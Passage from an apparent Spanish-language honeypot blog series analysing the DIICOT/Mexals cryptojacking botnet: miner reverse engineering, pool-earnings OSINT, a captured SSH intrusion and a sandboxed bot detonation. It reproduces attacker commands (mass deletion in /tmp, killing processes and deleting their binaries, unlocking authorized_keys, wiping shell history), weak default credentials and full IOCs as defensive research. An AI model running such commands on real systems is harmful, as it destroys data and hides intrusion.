/etc/ld.so.preload, libcommon.so, el nombre 16 y la plantilla del top() - le falta una de la lista. No es parecido de familia: es el mismo bolsillo y las mismas herramientas. Esto no es un hallazgo míoLa cartera y el proxy ya estaban dentro de muestras públicas de esta familia. No los descubrí yo; estaban ahí, cifrados. Lo que hago es sacarlos y leer, puestos en fila, cómo está montada la operación. Y de ponerlas en fila sí sale algo. Las ordené por fecha de subida y miré, en cada una, cómo guardaban la cartera y contra qué minaban: el cambio de modelo de cobro, por fechasjulio cartera EN CLARO · pool público directo 11 agosto (loader, sin cartera) · todavía sin proxy propio 30 agosto (loader, sin cartera) · ← aparece el proxy propio septiembre cartera cifrada · proxy propio · pool público de reserva En julio minaban con la cartera a la vista contra un pool público. Para septiembre habían pasado a cartera cifrada contra un proxy propio, con el pool público degradado a red de seguridad - que es exactamente la jerarquía que acabo de leer en la config. Y el cambio se puede fechar, aunque no por donde parecería. Las dos muestras de agosto no son mineros: son loaders (la pieza que instala) y no llevan cartera ninguna, así que por ahí no hay nada que comparar. Lo que sí llevan dentro es la dirección del proxy, y ahí está el corte: en la del 11 de agosto no aparece, y en la del 30 ya está. La bisagra cae entre esas dos fechas, y quien la marca es el proxy, no la cartera. Cuidado con lo que eso significa y con lo que no. Lo que no se solapa es lo que llevan configurado los binarios: la cartera vieja aparece solo en las muestras de julio y siempre en claro; la nueva, solo en las de septiembre y siempre tapada. Eso es un dato de muestras, y hasta ahí llega. Qué hicieron las dos carteras de verdad (cuánto han cobrado, desde cuándo y si siguen cobrando) no está dentro de ningún binario, así que este capítulo no lo resuelve. Pero tampoco es un callejón: se puede averiguar desde fuera, y a eso le dedico la entrega siguiente entera. 06El 443 que no cifra nada El proxy propio es 169.58.248.162, y escucha en el puerto 443. Ese es el puerto de HTTPS: el de las webs seguras, el que está abierto en todos los cortafuegos del mundo porque si lo cierras no se puede navegar. Pero en la configuración el cifrado va desactivado. O sea: hablan el protocolo de minado en claro por el puerto de HTTPS. No lo usan para cifrar - lo usan para parecer tráfico web normal y pasar desapercibidos. Y ahí hay una regla de detección que vale para cualquiera: tráfico saliente al 443 que nunca negocia un certificado. Una conexión HTTPS de verdad empieza siempre con un saludo en el que las dos partes acuerdan el cifrado. Si algo sale por el 443 y se salta ese paso, no es una web: es alguien escondiéndose detrás del número de puerto. Y hay un patrón en dónde vive todo esto. El servidor de reparto, este proxy de cobro y la dirección desde la que entraron las dos últimas visitas están los tres en el mismo proveedor - Contabo, AS51167, un hosting barato y enorme. Las direcciones que solo llaman a la puerta probando contraseñas, en cambio, van rotando de proveedor en proveedor. Conviene decirlo con cuidado, porque el proveedor es legítimo y no tiene nada que ver: el dato no es Contabo, es que ellos lo eligen. Y la lectura es que las máquinas desde las que se ataca son desechables; las que hay que pagar y mantener (repartir el binario y cobrar el minado) las tienen juntas y quietas. Un indicador extraído, no una conexión observadaLo repito porque importa: el minero de mi cebo nunca llegó a hablar con ese proxy - la contención lo paró antes. Sé que es su primer destino porque lo leí en el binario, no porque lo viera en el cable. Es un indicador extraído, y conviene decirlo así. 07Indicadores (IOCs) Los de la intrusión están en el capítulo 23. Estos son los de dentro. La cartera va entera: el único al que apunta es al operador. TipoValor Cartera Monero89PNDJssF3RbL6m7aSydYB4tLrvjZ28Cr8n4LucmFHat8botWkWr6oDPEaSHfeZn4wfA3dC5QsE7nZV1P6tE81sK2i9heam Proxy de minado169.58.248.162:443 - sin TLS · indicador extraído, no conexión observada Reparto y dominio5.189.149.171 · project0.cc Pools de reservapool-{fr,phx,nyc,hk,sg,aus,ca}.supportxmr.com:5555 - los siete, en claro Cifrado de configXOR de un byte, clave 0x5A - barre las 256, puede cambiar entre componentes Plantilla del backdoorcadena partida por un byte cero donde se inserta el número de proceso en ejecución Comandos falsos preparadostop() · crontab() · kill() - los tres, dentro del binario Componentes embebidoslibbase.sh · system-helper · /usr/local/lib/libcommon.so (rootkit: engancha readdir) Cargas en disco/var/tmp/snap · .X0-lock Autocomprobación__TTY_GUARD_OK__ - lanzado con y sin terminal tras escribir el enganche Firma de redtráfico saliente al 443 que nunca negocia TLS SHA-256 (minero)a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125 Continuará - el binario ya no tiene más que darme. Me deja una cartera de noventa y cinco caracteres y una pregunta que él no puede contestar: ¿cuánto lleva ganado esto? Monero está hecho para que no se pueda mirar un saldo, así que la respuesta no va a salir de la cadena. Está en otra parte, y llegar hasta ella no exige tocar nada suyo. Tiro de ese hilo en el Capítulo 25. 🍯","date":"2026-09","fam":"DIICOT","n":24,"spec":"DIICOT / Mexals","sum":"En el capítulo anterior quedó un número sin explicar: el backdoor borraba un proceso distinto en cada instalación, y eso no se puede saber de antemano. Abro el minero y aparece la respuesta - una plantilla con el hueco reservado. De paso sale la cartera a la que va el dinero, detrás de un cifrado que da risa.","t":"La línea que nadie escribió","tags":["Ghidra","ingeniería inversa","XOR","cryptojacking","Monero","análisis estático"],"tipo":"Cryptojacking + botnet P2P (Monero)","url":"/capitulo-24/"},{"body":"Este hilo arranca donde acabó el capítulo del destripe: el minero llevaba dentro, tapada con un cifrado de juguete, la cartera de Monero a la que manda lo que gana. Tenerla es bonito y no dice nada - noventa y cinco caracteres no le cuentan a nadie si esto es un chaval probando o un negocio. La pregunta que importa es cuánto lleva ganado, y ésa el binario no la contesta. Monero, además, está construido precisamente para que no se pueda contestar: no hay saldo que mirar ni movimientos que seguir. Así que la respuesta no iba a salir de la cadena. Estaba en otra parte, y llegar hasta ella no me obligó a tocar una sola máquina del atacante. Cómo leer estoTres niveles, siempre separados: visto (lo he comprobado yo), leído (lo dice un tercero) y deducido (interpretación mía). Importa más de lo normal en esta entrega, porque aquí hay cifras medidas y cifras estimadas conviviendo en el mismo párrafo, y la diferencia entre unas y otras es justo lo que hace que el número valga algo. 01Una cartera no tiene saldo, pero el pool sí tiene libros El minero prefiere minar contra un intermediario propio, pero lleva de reserva siete servidores públicos de supportxmr por si el suyo falla. Y un pool público hace algo que la moneda no hace: lleva la cuenta de lo que le paga a cada cartera y la publica. No hay que pedir permiso, ni registrarse, ni tocar nada de nadie: es una página abierta, como el tablón de anuncios de un portal. Así que pregunté. Tres consultas de lectura, y esto es lo que había: la contabilidad de la cartera nuevapagado 21,27 XMR pendiente 0,18 XMR hashrate 917,7 kH/s acumulado 26,99 billones de hashes participaciones 85.131.478 válidas · 676 rechazadas última actividad hace segundos Cuatro cosas se leen ahí, y ninguna era la que yo esperaba. visto La campaña está viva. No «estuvo»: el pool registró un hash suyo en el mismo momento en que pregunté. Yo venía contando una infección de hace unos días como si fuera pasado, y aquello sigue minando mientras escribo. visto Mi cebo era uno de muchos. Ese ritmo no sale de una máquina: hacen falta entre cuatrocientos y novecientos núcleos trabajando a la vez, según lo que rinda cada uno. Decenas o centenares de equipos infectados al mismo tiempo. El mío estuvo dentro unas horas. deducido No es de esta semana. El contador acumulado, a ese ritmo, da para cerca de un año de minado continuo - que es, redondeando, todo lo que esa cartera lleva existiendo. deducido Y no es un aficionado. De ochenta y cinco millones de participaciones enviadas, solo 676 salieron rechazadas: un 0,0008 % de error. Eso es una configuración correcta y estable sostenida durante meses, no alguien probando cosas. visto Un detalle de método que casi me cuesta el hiloEl listado de cobros devuelve veinticinco y parece que ésos son todos. No lo son: veinticinco es el tamaño de página. Pidiendo el histórico entero salen trescientos ocho, y el primero es de diciembre del año pasado. Si me quedo en la primera página, este hilo cuenta una historia cinco veces más pequeña - y no lo habría sabido. De esos veinticinco últimos, diecisiete caen en la misma franja, alrededor de las 21:00 UTC. Cobran con horario de oficina. visto 02Y pregunté también por la vieja Las muestras de julio no llevaban esta cartera: llevaban otra, y en claro. Ya que estaba en el tablón, pregunté por ella. Lo que salió reordena la historia que yo traía, y es bastante más grande: las dos carteras, en el mismo tablón la vieja la nueva cobros 1.183 308 primer cobro 14 de enero de 2021 20 de diciembre de 2025 último cobro 3 de agosto de 2026 14 de septiembre de 2026 ¿minando ahora? no sí total cobrado 144,77 XMR 21,27 XMR La primera: la cartera vieja lleva cobrando desde enero de 2021 - cinco años y medio, mil ciento ochenta y tres cobros. visto Y esa fecha no es cualquier fecha: es cuando Bitdefender publicó el primer informe sobre esta familia. leído La misma caja, abierta desde que se supo de ellos y sin cambiar en todo ese tiempo. deducido La segunda: la nueva no la estrenaron en septiembre. Lleva cobrando desde diciembre, siete meses antes de la muestra de julio que todavía llevaba configurada la vieja. Las dos estuvieron cobrando a la vez más de medio año. Y la vieja no se fue apagando poco a poco: se paró en seco el 3 de agosto y no ha vuelto a mover un hash. visto La tercera: la vieja movió casi siete veces más dinero. La que yo venía presentando como «la operación» resulta ser, en volumen, la pequeña de las dos. visto Así que lo que yo había llamado un relevo no lo fue. Cuando el binario cambió de cartera, la nueva llevaba más de medio año cobrando y la vieja llevaba un mes muerta: no hubo traspaso, hubo una caja que se apaga y otra que ya estaba encendida. deducido 03Cuánto es esto en dinero Aquí está la única cifra que un lector puede juzgar de verdad. Los hashes y las participaciones no le dicen nada a nadie; los euros, sí. Entre las dos carteras suman 166 XMR, y convertirlo no es multiplicar por el precio de hoy: ahí dentro hay monedas minadas en 2021, cuando el Monero valía la cuarta parte. Hay que valorar cada cobro al precio que tenía la moneda el día en que se cobró. lo que han cobrado, en dinero · consultado el 18 de septiembre de 2026166,04 XMR entre las dos carteras a precio de hoy, sin más 74.800 € # cifra mala: valora a 450 € monedas de 2021 valorando cada cobro al precio de su día: último año, medido 14.063 € lo anterior a sep-2025 122,69 XMR # estimado: sin serie de precios total, cinco años y medio ~30.000 - 35.000 € ritmo de hoy ~20 € al día Unos treinta mil euros en cinco años y medio, y unos veinte al día ahora mismo. deducido Y por año apenas se mueve: 32,6 XMR en 2021, 20,5 en 2022, 23,5 en 2023, 28,7 en 2024, 22,3 en 2025 y 38,4 en lo que va de 2026. visto Eso cambia la conclusión, y no hacia donde yo iba. Venía a decir «no es un aficionado», que es cierto y se queda corto. Lo que hay es un negocio pequeño, viejo y estable, y eso explica de golpe todo lo que llevo dos capítulos describiendo sin saber por qué: por qué no queman la infraestructura, por qué cobran con horario de oficina, por qué vuelven cuatro veces a la misma máquina en lugar de inundar internet. No es gente con prisa. Es gente con un sueldo. deducido 04Quién paga la luz Falta la cuenta que cambia de quién es el problema, porque lo que ellos ganan no es lo que esto cuesta. Esos cuatrocientos a novecientos núcleos consumen electricidad, y la paga el dueño de cada máquina sin saberlo. Con supuestos prudentes (de diez a veinte vatios por núcleo a pleno rendimiento, y la luz entre quince y veinticinco céntimos el kilovatio-hora): la factura que reparten entre sus víctimasnúcleos W/núcleo kWh/día luz que pagan las víctimas 400 10 96 14 - 24 €/día 600 15 216 32 - 54 €/día 900 20 432 65 - 108 €/día En el caso de en medio, las víctimas pagan de luz cerca del doble de lo que el atacante ingresa: unos cuarenta y tres euros al día contra los veinte que se lleva él. Al año, alrededor de quince mil ochocientos euros de electricidad ajena para producir ocho mil cuatrocientos de beneficio propio. deducido Ahí está lo que de verdad define a esto. No es un robo de dinero: es un traslado de coste. El negocio solo sale a cuenta porque la parte cara la pone otro, en facturas de veinte o treinta euros repartidas entre cientos de máquinas donde nadie las va a notar. 05Lo que no puedo demostrar Cuatro reservas, y ninguna es menor. Es lo cobrado, no lo ganado. Son los pagos que el pool ha hecho a esas carteras. Para que eso sea dinero de verdad tendrían que vender, y qué han hecho con ello no se ve desde ningún sitio. El dinero es de la cartera, no del bicho. Ésta es la que más pesa. Una cartera puede recibir de varias campañas a la vez, así que lo que he medido es el bolsillo, no la operación concreta que entró en mi máquina. Que el trabajador se llame como el proceso que esconden ata mucho, pero no demuestra exclusividad. Y es el suelo, no el techo. El minero prefiere su intermediario propio y deja el pool público de reserva, así que todo lo anterior es lo que ha caído por el paracaídas. Lo que cobran por su propio proxy no se ve desde fuera y no hay forma pasiva de averiguarlo. La cifra que puedo dar es el mínimo. La mitad vieja de la conversión va estimada. Del último año tengo el precio de cada día; de lo anterior a septiembre pasado, no, y he usado una media razonable para ese tramo. Por eso doy una horquilla y no un número redondo. 06El nombre en la nómina Y queda el remate, que no es una cifra. El mismo tablón deja preguntar con qué nombre se identifica el minero que cobra en esa cartera - lo que en un pool se llama el trabajador, una etiqueta que pone el propio operador para saber qué máquina le rinde. La respuesta es de una palabra: el nombre del trabajador, según el pool$ curl -sL \".../identifiers\" [\"16\"] 16. El mismo nombre que el minero se pone al arrancar para no llamar la atención, y el mismo que el backdoor del primer capítulo borra de la pantalla para que el administrador no lo vea. visto Lo que usan para esconderse de la víctima es lo que usan para identificarse ante quien les paga. Y tiene su lógica: delante del pool no hay nada que ocultar, es su propia contabilidad. Pero deja una simetría incómoda - el dato que un administrador no puede ver en su propia máquina está escrito, a la vista de cualquiera, en una página pública que no hay ni que buscar. 07Indicadores (IOCs) La entrada quedó fichada en el capítulo 23 y las tripas en el 24. Lo que sigue sale de tirar del hilo, y tiene una virtud que lo demás no: no caduca a la siguiente recompilación. TipoValor Cartera en uso89PNDJssF3RbL6m7aSydYB4tLrvjZ28Cr8n4LucmFHat8botWkWr6oDPEaSHfeZn4wfA3dC5QsE7nZV1P6tE81sK2i9heam Cartera anterior87Fxj6UD… - cobrando desde 2021-01-14, parada el 2026-08-03 Vigencia1.183 cobros la anterior · 308 la actual - indicador de continuidad, no de dinero Nombre de trabajador en el pool16 - el mismo con el que el minero se camufla en la máquina Franja de cobro17 de los 25 últimos pagos alrededor de las 21:00 UTC Métodoconsulta de solo lectura al API público del pool, el 18 de septiembre de 2026 · pedir el histórico completo, no la primera página La cartera es lo más duradero que tiene este caso. Los hashes cambian a cada compilación, las direcciones mueren y el servidor de reparto acabará vacío; una cartera que lleva cobrando desde 2021 no se puede rotar sin renunciar a lo cobrado, y está escrita en un sitio que no se puede borrar. Continuará - esto es el DIICOT que lleva documentado desde 2021, y la cartera que acabo de seguir es la suya. Pero la familia no se quedó quieta: hay una versión más reciente circulando, y lo que trae dentro merece capítulo aparte. Empieza en el Capítulo 26. 🍯","date":"2026-09","fam":"DIICOT","n":25,"spec":"DIICOT / Mexals","sum":"El destripe me dejó una cartera de Monero y una pregunta que el binario no contesta: cuánto lleva ganado esto. Monero está hecho para que no se pueda mirar un saldo - pero el pool contra el que minan publica estadísticas por cartera, y eso es una página abierta. Lo que salió al preguntar: una caja cobrando desde enero de 2021, otra que ya estaba encendida meses antes de aparecer en las muestras, unos veinte euros al día, y una factura de la luz que pagan las víctimas y que dobla lo que ingresa el operador.","t":"Veinte euros al día","tags":["OSINT","Monero","cryptojacking","pool","investigación"],"tipo":"Cryptojacking + botnet P2P (Monero)","url":"/capitulo-25/"},{"body":"El capítulo anterior acabó con una promesa: la familia que llevaba cinco años cobrando en la misma cartera no se había quedado quieta, y andaba circulando una versión más nueva. Aquí está. Duró sesenta y seis segundos, y los tengo todos: entra, mide la máquina, desaloja a quien hubiera, sube dieciséis megas de un solo fichero y lanza. Tres minutos más tarde el disco estaba congelado, con todo dentro. Lo que subió resultó ser una muñeca rusa. Y lo que lo paró no fue ninguna defensa preparada: fue una opción de montaje de tres sílabas que lleva décadas en los manuales. 01Sesenta y seis segundos Antes del minuto hay horas de aburrimiento: fuerza bruta sostenida contra la cuenta de root, cientos de intentos, desde una única dirección. Hasta que uno acierta. Lo que viene después es esto: Sesenta y seis segundos de asalto. Entra por SSH como root, reconoce la máquina, mata a la competencia, sube su kit… y se estrella contra un /var/tmp montado noexec. El cebo se congeló tres minutos después. Voy a contarlo en tiempos relativos desde que la contraseña cuela - la hora del reloj no la publico, porque la campaña sigue viva. En los primeros ocho segundos mide la máquina. En el noveno, desaloja. En el décimo empieza a subir. En el decimotercero intenta arrancar. Y ahí se acaba. No hay tanteo, no hay exploración, no hay un solo comando de más. Es una lista que se ejecuta de arriba abajo. 02Lo que pregunta antes de nada El reconocimiento cabe en ocho segundos y no sobra nada: el reconocimiento, enterouname -s -v -n -r -m # sistema, versión, nombre y arquitectura uname -m # la arquitectura, otra vez y a solas uptime | grep -ohe 'up .*' # cuánto lleva encendida nproc # cuántos núcleos lscpu | egrep \"Model name:\" # qué CPU exactamente lspci | egrep VGA # ¿hay tarjeta gráfica? lspci | egrep VGA | grep Radeon | wc -l nvidia-smi -q | grep \"Product Name\" | wc -l curl ipinfo.io/org # ← ¿de quién es esta máquina? Las tres preguntas por la gráfica cuentan a qué viene: no le basta con saber si hay una, quiere saber de qué marca, porque el minero que use depende de eso. Un cryptojacker que distingue entre Radeon y NVIDIA antes de decidir qué baja. Pero la que más me gustó es la última. curl ipinfo.io/org devuelve a qué operador pertenece la IP de la máquina en la que acaba de entrar. Es el equivalente a mirar el buzón antes de decidir si merece la pena entrar a robar: sirve para saber si has caído en un servidor de empresa, en un proveedor de nube o en la conexión doméstica de alguien. Es la única consulta del reconocimiento que sale a internet, y por eso quedó registrada también en el cortafuegos. Lo que no pregunta, también dice algoNo mira quién se ha conectado últimamente, no busca ficheros, no husmea en el correo ni en las bases de datos, no toca datos de nadie. Le interesan exactamente cuatro cosas: cuántos núcleos, qué gráfica, cuánto lleva encendida y de quién es la línea. Es la lista de la compra de alguien que solo quiere la máquina para que trabaje gratis. 03Primero, desalojar En el noveno segundo lanza una sola línea, larguísima, que hace limpieza antes de instalar nada: el desalojocrontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ps aux | awk '$3 \u0026gt; 40.0 \u0026amp;\u0026amp; $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe | xargs rm -f ; kill -9 $pid ; done ps aux | awk '$4 \u0026gt; 60.0 \u0026amp;\u0026amp; $11 !~ /sshd/ {print $2}' | … for proc in xmrig cpuminer minerd ccminer; do pidof $proc | … ; pkill -9 $proc ; done Mata por nombre a los mineros conocidos, pero lo listo es lo otro: barre por consumo. Cualquier proceso que pase del 40 % de CPU o del 60 % de memoria y no sea el servidor SSH, fuera. No necesita saber cómo se llama el minero del vecino; le basta con que se note. Y no se conforma con matarlo. Antes de mandar la señal averigua de qué fichero salió ese proceso y lo borra del disco. No es matar: es desinstalar al anterior. Tres segundos después, cuando ya ha subido sus cosas, remata con una segunda tanda: la segunda pasada, y el lanzamientochattr -iae ~/.ssh/authorized_keys rm -rf /dev/shm/.x /dev/shm/rete* /var/tmp/.update-logs /var/tmp/Documents rm -rf /tmp/.diicot /tmp/kuak ; rm -rf xmrig .diicot .black Opera pkill Opera ; pkill cnrig ; pkill java ; killall xmrig cd /var/tmp \u0026amp;\u0026amp; chmod +x aLAJrFpX \u0026amp;\u0026amp; ./aLAJrFpX \u0026amp; disown history -c ; rm -rf ~/.bash_history Fíjate en lo que borra: .diicot, kuak, retea, .x, Opera, .black. Ésos no son nombres de la competencia: son los suyos. Son los ficheros que deja esta misma familia - los mismos nombres que viene usando desde que la documentan, en 2021. Se está desalojando a sí mismoLa versión nueva entra y, antes de instalarse, borra los restos de la versión vieja. Tiene toda la lógica: dos generaciones del mismo kit peleándose por la misma CPU no le sirven a nadie, y menos al que cobra. Pero deja una imagen que cuesta olvidar: un bicho que llega a una máquina y lo primero que hace es echar a su propio antecesor. El chattr -iae sobre authorized_keys merece un renglón aparte: le quita el atributo de inmutable al fichero de llaves SSH de root, el que decide quién entra sin contraseña. No es limpieza - es dejar el terreno preparado para plantar la suya. Y cierra borrando el historial, que es el gesto de siempre. 04Una muñeca rusa Entre las dos tandas de limpieza sube dos ficheros por scp. Uno pequeño, de dos megas y pico. Y otro de dieciséis megas y medio, que para un bicho de estos es enorme. Ese grande es un solo ELF escrito en Go y empaquetado con UPX. Al abrirlo aparece por qué pesa tanto: lleva otros cinco programas dentro, cada uno a su vez empaquetado. Es una muñeca rusa. Una muñeca rusa. Un solo ELF en Go despliega cinco módulos (bot, loader, XMRig, coinminer y escáner SSH) más su diccionario de credenciales. Los tallé del binario uno a uno, y después detoné el dropper en la jaula para ver qué escribía en el disco con sus nombres reales. Coinciden por hash, así que no hay duda de qué es cada cosa: los cinco módulos y dónde los deja/tmp/cache el bot: malla P2P + mando por Telegram /tmp/diicot el loader: motor de persistencia y descarga /tmp/kuak XMRig, el minero de Monero /dev/shm/retea un segundo minero /dev/shm/.x/network el escáner: fuerza bruta SSH para propagarse /dev/shm/.x/pass su diccionario de contraseñas /dev/shm/.x/bios.txt la lista de objetivos a escanear Ese pass es el detalle que más dice de cómo se propaga esto. Es un fichero de texto con parejas de usuario y contraseña, y son exactamente las que uno esperaría: root root, root 123456, root Passw0rd, root P@ssw0rd… y root Huawei@123, que delata a qué clase de cacharros apunta además de a servidores. O sea: el kit no es solo un minero. Es un minero que trae consigo la máquina de buscar la siguiente víctima. Entra por fuerza bruta, y lo primero que instala es su propio buscador de fuerza bruta. Así se sostiene una botnet sin que el operador mueva un dedo. La cadena entera. De la fuerza bruta SSH a los cinco módulos y las dos vías de mando: la malla P2P con Telegram por un lado, y la segunda etapa que baja la configuración de minado por otro. ESPÉCIMEN 009 · ELF ×6 DIICOT / Mexals · variante 2026 ◈ VIVO · NO EJECUTAR EntregaSSH con contraseña · dos ficheros por scp Dropper16.604.752 B · Go · UPX · stripped y ofuscado Contienebot P2P · loader · XMRig · segundo minero · escáner SSH Propagaciónfuerza bruta SSH con diccionario propio Resultadono llegó a ejecutarse - ver §05 SHA-256 dropper28e0c4d5bc6675537ba47c6529877a3194a29585fb86477f66bf13c79252d2f0 SHA-256 bot7d55a90710b8e79283efd756e8d3423fc23e0dcf742d6027b1a2a1b9d02a9c16 05Y se estrelló contra una línea del fstab La última orden de la sesión pedía arrancarlo: cd /var/tmp \u0026amp;\u0026amp; chmod +x aLAJrFpX \u0026amp;\u0026amp; ./aLAJrFpX \u0026amp; disown. En la auditoría del núcleo (que registra todas las ejecuciones) aparece el chmod. Y no aparece nada más. El motivo está en una línea del /etc/fstab de la máquina: la línea que lo paró todotmpfs /var/tmp tmpfs rw,nosuid,nodev,noexec,size=256M 0 0 noexec significa «desde esta carpeta no se ejecuta nada». Da igual que el fichero tenga permiso de ejecución: el sistema se niega. El bicho hizo todo bien (entró, midió, desalojó, subió dieciséis megas) y se estrelló contra una opción de montaje de tres sílabas. Y se estrelló por poco. El otro fichero, el bot, lo había subido a /tmp, que sí permite ejecutar. Si hubiera puesto el dropper ahí, o si la sesión hubiera durado un minuto más, esto sería otro capítulo. Cómo lo sé, y qué implica para lo que vieneNo lo deduzco del silencio: lo compruebo por tres vías. En la auditoría no hay ninguna ejecución del binario ni de sus hijos; en el disco congelado no existe ninguno de los ficheros que el dropper habría creado; y el montaje noexec explica exactamente ese resultado. La consecuencia hay que decirla de frente, porque gobierna los capítulos siguientes: todo lo que sé de lo que hace este kit lo sé porque lo detoné yo en una jaula aislada, no porque lo viera actuar aquí. Lo que el cebo demuestra es cómo llegó y que no arrancó. Lo que hace, lo demuestra el laboratorio. Hay una ironía en el resultado. El cebo está puesto para que le entren, y le entraron. Pero lo que impidió el desastre no fue ninguna defensa lista: fue una opción de montaje que lleva décadas en los manuales de endurecimiento de Linux y que casi nadie se molesta en poner. Tres sílabas en un fichero de configuración. 06Indicadores (IOCs) Los de la llegada. Lo que el kit hace por dentro (el mando, la malla, cómo se actualiza solo) va en el capítulo siguiente. TipoValor Origen de la intrusión109.160.32.115 (ASN 197170, TechTies · AbuseIPDB 100/100, 1.225 reportes) Vía de entradaSSH, root por contraseña, tras fuerza bruta sostenida SHA-256 dropper28e0c4d5bc6675537ba47c6529877a3194a29585fb86477f66bf13c79252d2f0 SHA-256 bot7d55a90710b8e79283efd756e8d3423fc23e0dcf742d6027b1a2a1b9d02a9c16 SHA-256 XMRig79a47c33335fe1ed871a23cf7972652ee08a3ec0afed1c2dc6b5a8df675e153d SHA-256 loaderffe04bc05a56f78b1273876cf17ded8df1aa3da5a15deb17dce99a3e206eb705 SHA-256 segundo mineroc1c122869f46aaf8c4e90f3132c93a801c853244c756966952d0bf19241cf084 Ficheros que deja/tmp/{cache,diicot,kuak} · /dev/shm/retea · /dev/shm/.x/{network,pass,bios.txt,iplist,.usrs} Marcador/tmp/d.log con el contenido admin Desalojo (conducta)crontab -r + matar por CPU\u0026gt;40 % y MEM\u0026gt;60 % borrando el ejecutable · chattr -iae sobre authorized_keys Borra de su propia familia.diicot · kuak · retea · .x · Opera · .black Reconocimientolspci VGA + Radeon + nvidia-smi · curl ipinfo.io/org Y una contramedida que no cuesta nada y aquí lo paró todo: montar /tmp, /var/tmp y /dev/shm con noexec. Este kit deja sus cinco módulos exactamente en esos tres sitios. Continuará - el kit se quedó quieto en el disco, así que me lo llevé a la jaula y lo encendí yo. Dentro estaba lo que hace de verdad: una malla de hasta dos mil nodos que elige un jefe, y un jefe que recibe las órdenes por un chat de Telegram. En el Capítulo 27. 🍯","date":"2026-09","fam":"DIICOT","n":26,"spec":"DIICOT / Mexals - variante 2026","sum":"La familia del capítulo anterior no se quedó quieta: hay una versión más nueva circulando, y la pillé desde el primer segundo. Entra por SSH a la fuerza, mide el equipo, desaloja a la competencia (incluida su propia versión vieja), sube dieciséis megas de un solo fichero y lanza. Todo en poco más de un minuto. Y entonces se estrella contra una línea del fstab.","t":"Sesenta y seis segundos","tags":["honeypot","cryptojacking","SSH","botnet","análisis forense"],"tipo":"Cryptojacking + botnet P2P (Monero)","url":"/capitulo-26/"},{"body":"En el capítulo anterior el kit llegó entero y no llegó a arrancar: se estrelló contra un montaje noexec. Así que lo que hace no me lo enseñó el cebo - me lo tuvo que enseñar el laboratorio. De los cinco módulos que traía dentro, el que manda es el más pequeño: dos megas y pico, un fichero llamado cache. No mina nada. Su trabajo es decidir quién mina y cuándo, y para eso necesita recibir órdenes. Cómo las recibe es lo que va en este capítulo. 01Antes de encender nada Esto se detona en una jaula: una máquina virtual dentro de un espacio de red propio, sin ruta a internet, con el bicho corriendo como usuario sin privilegios. Pero «sin salida» hay que demostrarlo cada vez, no suponerlo - si el aislamiento falla, lo que sale es un nodo de botnet real conectándose a una malla real. La prueba de fuego. Antes de detonar nada, la jaula confirma que no hay salida a internet. Si algo respondiera, se aborta. La prueba es tonta y por eso funciona: intentar llegar a un par de sitios que siempre contestan. Si alguno responde, no se detona nada y se arregla la jaula primero. 02Exige saber dónde está, o se muere Lo primero que hace al arrancar no es conectarse a su amo. Es preguntar cuál es su propia dirección pública. Y lo intenta tres veces, por este orden: los tres intentos, y el final[WRN] self-hosted IP fail → 31.57.105.94:42 # un servicio propio del atacante [WRN] api4.ipify fail → … # respaldo público [WRN] ifconfig attempt 1..5/5 fail # respaldo público, cinco veces [ERR] pub IP fail after all methods — exiting # y se apaga Siete intentos, unos cincuenta segundos, y si no lo consigue se apaga solo. En una máquina sin salida a internet, este bicho no llega a hacer nada. Y no, esto no es una trampa anti-laboratorioEs tentador leerlo como una defensa contra los analistas - «si no hay internet, no me destapo» - y sería quedarse en la superficie. La razón es más aburrida y más interesante: un nodo de una red entre iguales necesita su dirección pública para anunciársela a los demás. Sin ella no puede participar. Si lo sueltas en un laboratorio con salida, el servicio público le contesta y arranca tan campante. No se esconde del analista: es que sin dirección no sabe decir dónde está. La forma de sacarlo del atasco fue darle lo que pedía: un servicio falso, dentro de la propia jaula, que le devuelve una dirección inventada de las reservadas para documentación. Con eso se lo cree y despliega todo. Obsérvese la asimetría: para verlo funcionar no hay que dejarle salir, hay que mentirle. 03Se corona líder Con su dirección en la mano, monta la red. Y aquí es donde deja de parecer un minero: El bot cobra vida. Se corona líder y abre su C2 de Telegram; a quien no es el operador le responde «Unauthorized». Cuatro cosas pasan en ese arranque, y cada una añade una pieza: Escucha en el puerto 8081 y se anuncia ahí. No es un cliente que llama a casa: es un nodo que también recibe. Lleva un vecino de arranque grabado a fuego - una dirección concreta a la que llamar la primera vez, para entrar en la red. Es el problema del huevo y la gallina de toda red entre iguales: para conocer a alguien hay que conocer ya a alguien. Se propone llegar a dos mil conexiones y, si tiene pocas, se pone a buscar más por su cuenta. La malla no es un adorno: está dimensionada. Y celebra una elección. El nodo empieza como seguidor, y en cuanto ve que no hay nadie por encima se proclama jefe. Entonces, y solo entonces, abre el canal con su operador. Por qué esto es más listo de lo que pareceEn una botnet clásica, cada máquina infectada llama a un servidor de mando. Eso tiene dos problemas para el atacante: mil conexiones al mismo sitio se ven, y si te tiran el servidor, lo pierdes todo. Aquí solo uno habla con el exterior, y el resto se entera por la malla. El operador manda un mensaje y la orden llega a miles de máquinas sin que él se conecte a ninguna. Y si el líder cae, la malla elige otro. Para quien defiende, la consecuencia incómoda es que puedes tener un nodo de esto en tu red sin verle jamás una conexión sospechosa: tu máquina solo habla con otras víctimas. 04Por qué strings no dice nada Lo normal, con un bicho así, es pasarle la herramienta que saca los textos legibles del fichero y ver aparecer direcciones, dominios, rutas. Aquí no sale nada: ni el dominio del chat, ni el identificador del bot, ni una sola de las palabras que acabas de ver en pantalla. El motivo es el ofuscador con el que lo compilaron. Guarda cada texto cifrado en el fichero y lo descifra en memoria justo antes de usarlo, con un bucle de dos líneas que mezcla una tabla y una semilla que también viajan dentro. Nada de C2 en claro. El ofuscador guarda \"api.telegram.org\" como bytes y lo descifra en memoria con un XOR. Por eso strings sobre el binario no revela el dominio. Contra eso hay dos caminos. El lento es leer el código y deshacer el cifrado a mano, tabla por tabla. El rápido es dejar que lo descifre él: arrancarlo, congelarlo en marcha y leerle la memoria. Ahí están todos los textos, ya en claro, porque el programa necesita usarlos. Es la lección más reutilizable del capítulo: un ofuscador protege el fichero, no la ejecución. Todo lo que el programa necesite entender, tendrá que descifrarlo - y en ese momento está a la vista de quien mire. 05El que manda, y la reja de la puerta De la memoria sale el canal, y es de lo más cómodo que hay: un bot de Telegram. El nodo líder pregunta cada pocos segundos si hay mensajes nuevos, con una petición que lleva dentro el identificador del bot: el canal de mandoGET 